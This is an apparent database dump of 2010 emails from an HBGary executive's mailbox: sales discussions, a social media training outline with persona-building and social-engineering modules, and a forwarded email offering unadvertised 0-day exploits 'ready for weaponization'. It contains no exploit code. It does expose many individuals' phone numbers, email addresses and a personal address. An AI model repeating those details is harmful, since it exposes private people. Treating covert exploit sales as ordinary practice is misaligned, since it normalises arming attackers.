2010, at 10:12 PM, Maria Lucas wrote:OK let&#39;s do next Friday then if DigitalGlobe is available -- that way it is done before the long weekend.\r\nWe lost the opportunity at LANL.  I am really bummed. Aaron let&#39;s review because I need to respond to the CIO.  I need help with my message -- I want 3 sentences.\r\nBackground -- we went in there we showed AD and it did not detect malware that Responder Pro detected --- First Impression: not production ready.Second -- we don&#39;t have fingerprinting and Mandiant does -- this is important because they have to write risk / loss exposure reports.\r\n\r\nThird and related to the Second is that if we are to overwrite data we would overwrite on disk -- Mandiant would overwrite on the page file.  Fourth -- he had to buy now \r\n\r\nPenny thinks he is a Mandiant bigot but I don&#39;t think so.  I think anyone likes what they already know.  He stated that the risk / loss exposure reports are a big part of his job and he needs to be able to get those out soon and fingerprinting is part of this. Penny says they have Encase Enterprise and that&#39;s true but it is way slow and he worked at Mandiant 4 years and knows the product.\r\n\r\nI asked is Fingerprinting more important than Detecting unknown malware and he said yes because management is expecting this.  He also said that Responder Pro gives him 100% detection on known malware.\r\n\r\nTwo things -- he didn&#39;t believe the product was production ready so not willing to take a risk and his personal interest was to get these reports out.  He said long-term Active Defense is better and if Fingerprinting had been in the product and it worked he would have opted with Active Defense.\r\n\r\nWhat I NEED YOUR HELP on is a quick note to the CIO stating that although both products are IR tools, it was determined by Kelcey that MIR was better for him to do Risk/Loss exposure investigations, but that Active Defense filled a huge gap of detecting unknown malware and that Mandiant doesn&#39;t do this.  So if LANL is equally convinced in knowing what happened is as important as what is currently happening or about to take place then they should have both products.  Also, within the next 3 months Active Defense will have all the features that Kelcey needed today and will detect APT.\r\n\r\nIdeally, Kelcey said he would like to have both products.  And, long term he would prefer Active Defense based on our capabilities, roadmap and speed.That is what I want to say but in CIO language.\r\n\r\nYou are the bomb too.  I think we can possibly sell training at Bank of the West.  They love End Games.On Thu, Aug 26, 2010 at 6:55 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\nMaria,Anytime after this Friday I will make available to you, just let me know the time. Mark and I are neck deep at LANL until tomorrow afternoon. \r\n\r\n\r\nPS - Thanks for the email kudos I appreciate it. You&#39;re the bomb! TedOn Aug 26, 2010, at 6:37 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\nCan you let me know if next Friday or the following Tuesday will work for Ted to be onsite at Digital GLobe... Ineed to coordinate.Thanks!\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  \r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  \r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n\r\n',11298,'aaron_hbgary_com/11298.html'),(10968,'2010-08-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008421.M216696P14101Q5823.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: Course outline','Does this work or do you need more?Modules1.&nbsp;&nbsp;&nbsp;&nbsp;\r\nFamiliarizationa.&nbsp;&nbsp;&nbsp;&nbsp;\r\nWhat is Social Mediab.&nbsp;&nbsp;&nbsp;&nbsp;\r\nSocial Media Landscapec.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMigration to the Social Webd.&nbsp;&nbsp;&nbsp;&nbsp;\r\nContent Aggregatione.&nbsp;&nbsp;&nbsp;&nbsp;\r\nSocial Media Services&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\ni.&nbsp;&nbsp;&nbsp;&nbsp; Facebook&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nii.&nbsp;&nbsp;&nbsp;&nbsp; LinkedIn&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\niii.&nbsp;&nbsp;&nbsp;&nbsp; Twitter&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\niv.&nbsp;&nbsp;&nbsp;&nbsp; Flickr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nv.&nbsp;&nbsp;&nbsp;&nbsp; Youtube&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nvi.&nbsp;&nbsp;&nbsp;&nbsp; Wikipediaf.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSocial Gamingg.&nbsp;&nbsp;&nbsp;&nbsp;\r\nLocation Based Servicesh.&nbsp;&nbsp;&nbsp;&nbsp;\r\nFacial and Object Recognitioni.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAugmented Reality2.&nbsp;&nbsp;&nbsp;&nbsp;\r\nEffective Usea.&nbsp;&nbsp;&nbsp;&nbsp;\r\nBenefits of Social Mediab.&nbsp;&nbsp;&nbsp;&nbsp;\r\nUnderstanding Uses for Social Media&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\ni.&nbsp;&nbsp;&nbsp;&nbsp; Marketing\r\nand Advertising&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nii.&nbsp;&nbsp;&nbsp;&nbsp; Collaboration&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\niii.&nbsp;&nbsp;&nbsp;&nbsp; Training&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\niv.&nbsp;&nbsp;&nbsp;&nbsp; Business\r\nDevelopmentc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;3.&nbsp;&nbsp;&nbsp;&nbsp;\r\nRisksa.&nbsp;&nbsp;&nbsp;&nbsp;\r\nYour as weak as your weakest friendb.&nbsp;&nbsp;&nbsp;&nbsp;\r\nInformation Aggregationc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInformation Overloadd.&nbsp;&nbsp;&nbsp;&nbsp;\r\nYou can’t take it backe.&nbsp;&nbsp;&nbsp;&nbsp;\r\nCompetitive Intelligencef.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSocial Engineeringg.&nbsp;&nbsp;&nbsp;&nbsp;\r\nYour Friend may not be your friendh.&nbsp;&nbsp;&nbsp;&nbsp;\r\nControlling the messagei.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFragmentation4.&nbsp;&nbsp;&nbsp;&nbsp;\r\nSocial Reconnaissancea.&nbsp;&nbsp;&nbsp;&nbsp;\r\nSocial Engineering in 10 minutesb.&nbsp;&nbsp;&nbsp;&nbsp;\r\nDefining the targetc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPersona and Campaign Developmentd.&nbsp;&nbsp;&nbsp;&nbsp;\r\nBuilding up and ine.&nbsp;&nbsp;&nbsp;&nbsp;\r\nExamples of Information Aggregationf.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCrowd Sourcing to Malware5.&nbsp;&nbsp;&nbsp;&nbsp;\r\nPolicy and Protectiona.&nbsp;&nbsp;&nbsp;&nbsp;\r\nTop 10 Social Media Protection Stepsb.&nbsp;&nbsp;&nbsp;&nbsp;\r\nEffective Continual Trainingc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInformation Exposure Monitoringd.&nbsp;&nbsp;&nbsp;&nbsp;\r\nData Leakage Monitoringe.&nbsp;&nbsp;&nbsp;&nbsp;\r\nHow to protect and still use\r\n\r\n\r\n\r\n\r\nOn Aug 26, 2010, at 7:48 PM, Maria Lucas wrote:AaronDo you have a latest course outline for Bank of the West?Maria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com &nbsp;&nbsp;\r\n\r\n',14830,'aaron_hbgary_com/14830.html'),(10969,'2010-08-27','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297008429.M426728P14101Q5824.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Estrada, Daniel\" <Daniel.Estrada@ManTech.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Estrada, Daniel\" <Daniel.Estrada@ManTech.com>,','RE: Social Media Training','Sounds very interesting.  I included or Sr. Pen Tester for FBI (Daniel) as well as managers of our Pen Testing capabilities so you can include them on future e-mail related to this subject as well.\r\n\r\nThanks,\r\n\r\nEric J. Eifert\r\nVice President, Cyber Defense Solutions Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, August 26, 2010 8:27 AM\r\nTo: Eifert, Eric J.\r\nSubject: Social Media Training\r\n\r\nHey Eric,\r\n\r\nI am updating a few people I know that have expressed some interest in social media training.  After doing this a few times we have come up with a model based on feedback from customers.  For those that are interested we are combining a \"social media pen test\" prior to the training and wrapping that information into the training to make it more relevant to the customer.  Getting to conduct more \"real world\" social media exploitation exercises really helps the course material overall as well.\r\n\r\nAaron\r\n',4698,'aaron_hbgary_com/4698.html'),(10970,'2010-08-27','arc@westfields.net','/aaron@hbgary.com/new/1297008429.M873193P14101Q5825.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Thursday, 08/26/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNGA-ESMARTS (Announcement & Document Posting)\r\n\r\nNGA-RDAS (Announcement)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',9634,'aaron_hbgary_com/9634.html'),(10971,'2010-08-27','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297008430.M166870P14101Q5826.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Request for Evaluation Software','Hey man I hope you\'re well.  Here come the Ruskies\r\n\r\n-----Original Message-----\r\nFrom: HBGary INC [mailto:support@hbgary.com]\r\nSent: Friday, August 27, 2010 9:10 AM\r\nTo: sales@hbgary.com\r\nSubject: Request for Evaluation Software\r\n\r\nThis is an Evaluation Software Request:\r\n\r\nName: Vladimir Sicilenko\r\nEmail: zxc_01234@list.ru\r\nPhone: 0985075189\r\n\r\nCompany: OOO Rivia\r\nCity: Kiev\r\nProv/State: blank\r\nCountry: UA\r\n\r\nProducts: Digital DNA; Responder; FastDump;\r\n',9125,'aaron_hbgary_com/9125.html'),(10972,'2010-08-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008430.M530662P14101Q5827.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary','Begin forwarded message:From: &quot;Maier, Raymond \\&quot;Joe\\&quot; (US SSA) (US ASTSS Huntsville)&quot; &lt;raymond.maier@baesystems.com&gt;\r\nDate: August 27, 2010 7:54:54 AM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: RE: HBGary\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\nMy customer is looking for a demonstration of your capabilities\r\npotentially at the SCI level.\r\n\r\n \r\n\r\nIf you have time, please give me a call.\r\n\r\njoe\r\n\r\n \r\n\r\n \r\n\r\nJoe Maier\r\n\r\n719.235.1898 - Mobile\r\n\r\n719.325.8445 - Work\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Thursday, 22 July, 2010 09:22 AM\r\nTo: Chisholm, Chris (US SSA)\r\nCc: Maier, Raymond &quot;Joe&quot; (US SSA) (US ASTSS Huntsville);\r\njrcrouse@comcast.net\r\nSubject: HBGary\r\n\r\n\r\n\r\n \r\n\r\nChris,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIt was a pleasure meeting with you yesterday.  Please\r\nstay in touch and let me know when you&#39;re in town.  When should I expect\r\nto see a draft teaming agreement?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI&#39;ve attached some of our product sheets for your review.\r\n Our software can be especially helpful for organizations who conduct\r\nincident response, digital forensics investigations, vulnerability research /\r\nproof-of-concept exploit development, and malware reverse engineering /\r\nanalysis.  If you have any such organizations within BAE I&#39;d really appreciate\r\nan introduction.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAlso as we discussed, HBGary has offensive cyber\r\ncapabilities (we don&#39;t advertise).  I have several 0-day proof-of-concept\r\nexploits on the shelf ready for weaponization.  If you have any qualified\r\ncustomers who would be interested, I can send you summary descriptions.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3576,'aaron_hbgary_com/3576.html'),(10973,'2010-08-27','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008430.M764692P14101Q5828.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Stock Plan for your records','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThis is a copy of the stock plan, it was not distributed\r\nwith your options.&nbsp; Please review and sign last page. &nbsp;Send me scanned\r\nsignature (or copy) &nbsp;then keep plan for your tax records.&nbsp; I still need signed\r\ndocs from plan back\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5100,'aaron_hbgary_com/5100.html'),(10974,'2010-08-27','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008433.M25381P14101Q5829.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Stock Plan for your records','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry forgot to attach\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, August 27, 2010 7:21 AM\r\nTo: \'Ted Vera\'; \'Aaron Barr\'\r\nSubject: Stock Plan for your records\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThis is a copy of the stock plan, it was not distributed\r\nwith your options.&nbsp; Please review and sign last page. &nbsp;Send me\r\nscanned signature (or copy) &nbsp;then keep plan for your tax records.&nbsp; I\r\nstill need signed docs from plan back\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15148,'aaron_hbgary_com/15148.html'),(10975,'2010-08-27','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008433.M375705P14101Q5830.eml','\"Jim Richards\" <jim@hbgary.com>,\"Charles Copeland\" <chark@hbgary.com>,\"Scott Pease\" <scott@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,ted@hbgary.com','Training on how to post MP4 movies to the HBGary site',' \r\nJim, Scott, Chark,\r\n \r\nI would like to give you guys a training today in how to post and embed MP4 movies into the hbgary website.  The process is slightly technical but 100% straightforward.  Let me know if you have availability today.\r\n\r\n \r\n-Greg\r\n',7114,'aaron_hbgary_com/7114.html'),(10976,'2010-08-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008433.M634108P14101Q5831.eml','\"Sandy Barr\" <freelybe@hotmail.com>','Got a Room','Courtyard Marriott5700 Greenwich RdVirginia Beach, VA 23462',4845,'aaron_hbgary_com/4845.html'),(10977,'2010-08-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008433.M922184P14101Q5832.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Training on how to post MP4 movies to the HBGary site','Ted won\'t be able to make it, last day of the pen test for LANL.  I can do it before 1pm or earlier (EST).  I have a meeting at 3pm about 30min. away, and after that I am on the road for a few hours.  Does Mark know how?\r\n\r\nAaron\r\n\r\n\r\nOn Aug 27, 2010, at 10:36 AM, Greg 